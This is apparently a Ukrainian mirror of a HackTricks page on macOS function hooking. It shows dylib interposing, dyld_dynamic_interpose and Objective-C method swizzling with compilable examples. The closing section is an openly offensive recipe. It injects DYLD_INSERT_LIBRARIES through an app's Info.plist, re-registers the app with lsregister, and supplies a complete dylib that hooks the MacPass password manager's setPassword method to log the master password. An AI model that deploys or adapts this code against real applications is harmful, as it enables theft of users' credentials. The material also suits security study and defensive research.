mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
411 lines
19 KiB
Markdown
411 lines
19 KiB
Markdown
# Перехоплення функцій macOS
|
||
|
||
{% hint style="success" %}
|
||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримайте HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Перехоплення функцій
|
||
|
||
Створіть **dylib** з розділом **`__interpose` (`__DATA___interpose`)** (або розділом, позначеним як **`S_INTERPOSING`**), що містить кортежі **вказівників на функції**, які посилаються на **оригінальні** та **замінні** функції.
|
||
|
||
Потім **впровадьте** dylib за допомогою **`DYLD_INSERT_LIBRARIES`** (перехоплення повинно відбуватися до завантаження основного додатка). Очевидно, тут також застосовуються [**обмеження**, які застосовуються до використання **`DYLD_INSERT_LIBRARIES`**](macos-library-injection/#check-restrictions).
|
||
|
||
### Перехоплення printf
|
||
|
||
{% tabs %}
|
||
{% tab title="interpose.c" %}
|
||
{% code title="interpose.c" overflow="wrap" %}
|
||
```c
|
||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||
#include <stdio.h>
|
||
#include <stdarg.h>
|
||
|
||
int my_printf(const char *format, ...) {
|
||
//va_list args;
|
||
//va_start(args, format);
|
||
//int ret = vprintf(format, args);
|
||
//va_end(args);
|
||
|
||
int ret = printf("Hello from interpose\n");
|
||
return ret;
|
||
}
|
||
|
||
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
|
||
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
|
||
```
|
||
{% endcode %}
|
||
{% endtab %}
|
||
|
||
{% tab title="hello.c" %}
|
||
```c
|
||
//gcc hello.c -o hello
|
||
#include <stdio.h>
|
||
|
||
int main() {
|
||
printf("Hello World!\n");
|
||
return 0;
|
||
}
|
||
```
|
||
{% endtab %}
|
||
|
||
{% tab title="interpose2.c" %}
|
||
{% code overflow="wrap" %}
|
||
```c
|
||
// Just another way to define an interpose
|
||
// gcc -dynamiclib interpose2.c -o interpose2.dylib
|
||
|
||
#include <stdio.h>
|
||
|
||
#define DYLD_INTERPOSE(_replacement, _replacee) \
|
||
__attribute__((used)) static struct { \
|
||
const void* replacement; \
|
||
const void* replacee; \
|
||
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
|
||
(const void*) (unsigned long) &_replacement, \
|
||
(const void*) (unsigned long) &_replacee \
|
||
};
|
||
|
||
int my_printf(const char *format, ...)
|
||
{
|
||
int ret = printf("Hello from interpose\n");
|
||
return ret;
|
||
}
|
||
|
||
DYLD_INTERPOSE(my_printf,printf);
|
||
```
|
||
{% endcode %}
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
```bash
|
||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
|
||
Hello from interpose
|
||
|
||
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
|
||
Hello from interpose
|
||
```
|
||
{% hint style="warning" %}
|
||
Змінна середовища **`DYLD_PRINT_INTERPOSTING`** може бути використана для налагодження перехоплення та виведе процес перехоплення.
|
||
{% endhint %}
|
||
|
||
Також слід зауважити, що **перехоплення відбувається між процесом та завантаженими бібліотеками**, воно не працює з кешем спільних бібліотек.
|
||
|
||
### Динамічне перехоплення
|
||
|
||
Тепер також можливо динамічно перехопити функцію за допомогою функції **`dyld_dynamic_interpose`**. Це дозволяє програмно перехопити функцію під час виконання, а не лише з початку.
|
||
|
||
Достатньо вказати **кортежі** функції, яку потрібно замінити, та функції **заміщення**.
|
||
```c
|
||
struct dyld_interpose_tuple {
|
||
const void* replacement;
|
||
const void* replacee;
|
||
};
|
||
extern void dyld_dynamic_interpose(const struct mach_header* mh,
|
||
const struct dyld_interpose_tuple array[], size_t count);
|
||
```
|
||
## Метод Swizzling
|
||
|
||
У ObjectiveC так викликається метод: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||
|
||
Потрібен **об'єкт**, **метод** та **параметри**. І коли метод викликається, **повідомлення відправляється** за допомогою функції **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||
|
||
Об'єкт - **`someObject`**, метод - **`@selector(method1p1:p2:)`**, аргументи - **value1**, **value2**.
|
||
|
||
Слідуючи структурам об'єктів, можна дістатися до **масиву методів**, де **імена** та **вказівники** на код методу **знаходяться**.
|
||
|
||
{% hint style="danger" %}
|
||
Зверніть увагу, що оскільки методи та класи доступні за їхніми іменами, ця інформація зберігається в бінарному файлі, тому можливо отримати її за допомогою `otool -ov </path/bin>` або [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||
{% endhint %}
|
||
|
||
### Доступ до сирого методу
|
||
|
||
Можливо отримати інформацію про методи, таку як ім'я, кількість параметрів або адресу, як у наступному прикладі:
|
||
|
||
{% code overflow="wrap" %}
|
||
```objectivec
|
||
// gcc -framework Foundation test.m -o test
|
||
|
||
#import <Foundation/Foundation.h>
|
||
#import <objc/runtime.h>
|
||
#import <objc/message.h>
|
||
|
||
int main() {
|
||
// Get class of the variable
|
||
NSString* str = @"This is an example";
|
||
Class strClass = [str class];
|
||
NSLog(@"str's Class name: %s", class_getName(strClass));
|
||
|
||
// Get parent class of a class
|
||
Class strSuper = class_getSuperclass(strClass);
|
||
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
||
|
||
// Get information about a method
|
||
SEL sel = @selector(length);
|
||
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
||
Method m = class_getInstanceMethod(strClass,sel);
|
||
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
||
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
||
|
||
// Iterate through the class hierarchy
|
||
NSLog(@"Listing methods:");
|
||
Class currentClass = strClass;
|
||
while (currentClass != NULL) {
|
||
unsigned int inheritedMethodCount = 0;
|
||
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
||
|
||
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
||
|
||
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
||
Method method = inheritedMethods[i];
|
||
SEL selector = method_getName(method);
|
||
const char* methodName = sel_getName(selector);
|
||
unsigned long address = (unsigned long)method_getImplementation(m);
|
||
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
||
}
|
||
|
||
// Free the memory allocated by class_copyMethodList
|
||
free(inheritedMethods);
|
||
currentClass = class_getSuperclass(currentClass);
|
||
}
|
||
|
||
// Other ways to call uppercaseString method
|
||
if([str respondsToSelector:@selector(uppercaseString)]) {
|
||
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
||
NSLog(@"Uppercase string: %@", uppercaseString);
|
||
}
|
||
|
||
// Using objc_msgSend directly
|
||
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
||
NSLog(@"Uppercase string: %@", uppercaseString2);
|
||
|
||
// Calling the address directly
|
||
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
||
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
||
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
||
NSLog(@"Uppercase string: %@", uppercaseString3);
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
{% endcode %}
|
||
|
||
### Зміна методу за допомогою method\_exchangeImplementations
|
||
|
||
Функція **`method_exchangeImplementations`** дозволяє **змінити** **адресу** **реалізації** **однієї функції на іншу**.
|
||
|
||
{% hint style="danger" %}
|
||
Таким чином, коли викликається функція, виконується **інша**.
|
||
{% endhint %}
|
||
|
||
{% code overflow="wrap" %}
|
||
```objectivec
|
||
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
||
|
||
#import <Foundation/Foundation.h>
|
||
#import <objc/runtime.h>
|
||
|
||
|
||
// Create a new category for NSString with the method to execute
|
||
@interface NSString (SwizzleString)
|
||
|
||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||
|
||
@end
|
||
|
||
@implementation NSString (SwizzleString)
|
||
|
||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||
NSLog(@"Custom implementation of substringFromIndex:");
|
||
|
||
// Call the original method
|
||
return [self swizzledSubstringFromIndex:from];
|
||
}
|
||
|
||
@end
|
||
|
||
int main(int argc, const char * argv[]) {
|
||
// Perform method swizzling
|
||
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
||
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
||
method_exchangeImplementations(originalMethod, swizzledMethod);
|
||
|
||
// We changed the address of one method for the other
|
||
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
|
||
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
||
|
||
// Example usage
|
||
NSString *myString = @"Hello, World!";
|
||
NSString *subString = [myString substringFromIndex:7];
|
||
NSLog(@"Substring: %@", subString);
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
{% endcode %}
|
||
|
||
{% hint style="warning" %}
|
||
У цьому випадку, якщо **код реалізації легітимного** методу **перевіряє** **ім'я методу**, він може **виявити** цей перехоплення та запобігти його виконанню.
|
||
|
||
Наступна техніка не має цього обмеження.
|
||
{% endhint %}
|
||
|
||
### Перехоплення методу за допомогою method\_setImplementation
|
||
|
||
Попередній формат дивний, оскільки ви змінюєте реалізацію 2 методів один на одного. Використовуючи функцію **`method_setImplementation`**, ви можете **змінити реалізацію методу на інший**.
|
||
|
||
Просто не забудьте **зберегти адресу реалізації оригінального**, якщо ви збираєтеся викликати його з нової реалізації перед її перезаписом, оскільки пізніше буде набагато складніше знайти цю адресу.
|
||
|
||
{% code overflow="wrap" %}
|
||
```objectivec
|
||
#import <Foundation/Foundation.h>
|
||
#import <objc/runtime.h>
|
||
#import <objc/message.h>
|
||
|
||
static IMP original_substringFromIndex = NULL;
|
||
|
||
@interface NSString (Swizzlestring)
|
||
|
||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||
|
||
@end
|
||
|
||
@implementation NSString (Swizzlestring)
|
||
|
||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||
NSLog(@"Custom implementation of substringFromIndex:");
|
||
|
||
// Call the original implementation using objc_msgSendSuper
|
||
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
||
}
|
||
|
||
@end
|
||
|
||
int main(int argc, const char * argv[]) {
|
||
@autoreleasepool {
|
||
// Get the class of the target method
|
||
Class stringClass = [NSString class];
|
||
|
||
// Get the swizzled and original methods
|
||
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
||
|
||
// Get the function pointer to the swizzled method's implementation
|
||
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
||
|
||
// Swap the implementations
|
||
// It return the now overwritten implementation of the original method to store it
|
||
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
||
|
||
// Example usage
|
||
NSString *myString = @"Hello, World!";
|
||
NSString *subString = [myString substringFromIndex:7];
|
||
NSLog(@"Substring: %@", subString);
|
||
|
||
// Set the original implementation back
|
||
method_setImplementation(originalMethod, original_substringFromIndex);
|
||
|
||
return 0;
|
||
}
|
||
}
|
||
```
|
||
{% endcode %}
|
||
|
||
## Методологія атаки за допомогою підключення
|
||
|
||
На цій сторінці обговорюються різні способи підключення функцій. Однак вони включають **виконання коду всередині процесу для атаки**.
|
||
|
||
Для цього найпростішою технікою є впровадження [Dyld через змінні середовища або перехоплення](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md). Однак, я думаю, що це також можна зробити через [впровадження процесу Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||
|
||
Проте обидва варіанти **обмежені** **незахищеними** бінарними файлами/процесами. Перевірте кожну техніку, щоб дізнатися більше про обмеження.
|
||
|
||
Проте атака за допомогою підключення функцій є дуже конкретною, зловмисник буде робити це, щоб **викрасти чутливу інформацію зсередини процесу** (якщо цього не зробити, то ви просто здійснюєте атаку впровадження процесу). І ця чутлива інформація може бути розміщена в завантажених користувачем додатках, таких як MacPass.
|
||
|
||
Таким чином, вектор атаки зловмисника буде полягати в тому, щоб знайти вразливість або зняти підпис програми, впровадити змінну середовища **`DYLD_INSERT_LIBRARIES`** через Info.plist програми, додавши щось на зразок:
|
||
```xml
|
||
<key>LSEnvironment</key>
|
||
<dict>
|
||
<key>DYLD_INSERT_LIBRARIES</key>
|
||
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||
</dict>
|
||
```
|
||
і потім **перереєструвати** додаток:
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
||
```
|
||
{% endcode %}
|
||
|
||
Додайте до цієї бібліотеки код підвищення привілеїв для витікання інформації: паролі, повідомлення...
|
||
|
||
{% hint style="danger" %}
|
||
Зверніть увагу, що в новіших версіях macOS, якщо ви **видалите підпис** з бінарного файлу програми і він вже виконувався раніше, macOS **більше не буде виконувати програму**.
|
||
{% endhint %}
|
||
|
||
#### Приклад бібліотеки
|
||
|
||
{% code overflow="wrap" %}
|
||
```objectivec
|
||
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
|
||
|
||
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
|
||
|
||
// Listen to the logs with something like:
|
||
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
|
||
|
||
#include <Foundation/Foundation.h>
|
||
#import <objc/runtime.h>
|
||
|
||
// Here will be stored the real method (setPassword in this case) address
|
||
static IMP real_setPassword = NULL;
|
||
|
||
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
|
||
{
|
||
// Function that will log the password and call the original setPassword(pass, file_path) method
|
||
NSLog(@"[+] Password is: %@", password);
|
||
|
||
// After logging the password call the original method so nothing breaks.
|
||
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
|
||
}
|
||
|
||
// Library constructor to execute
|
||
__attribute__((constructor))
|
||
static void customConstructor(int argc, const char **argv) {
|
||
// Get the real method address to not lose it
|
||
Class classMPDocument = NSClassFromString(@"MPDocument");
|
||
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
|
||
|
||
// Make the original method setPassword call the fake implementation one
|
||
IMP fake_IMP = (IMP)custom_setPassword;
|
||
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
||
}
|
||
```
|
||
{% endcode %}
|
||
|
||
## Посилання
|
||
|
||
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
||
|
||
{% hint style="success" %}
|
||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримайте HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||
|
||
</details>
|
||
{% endhint %}
|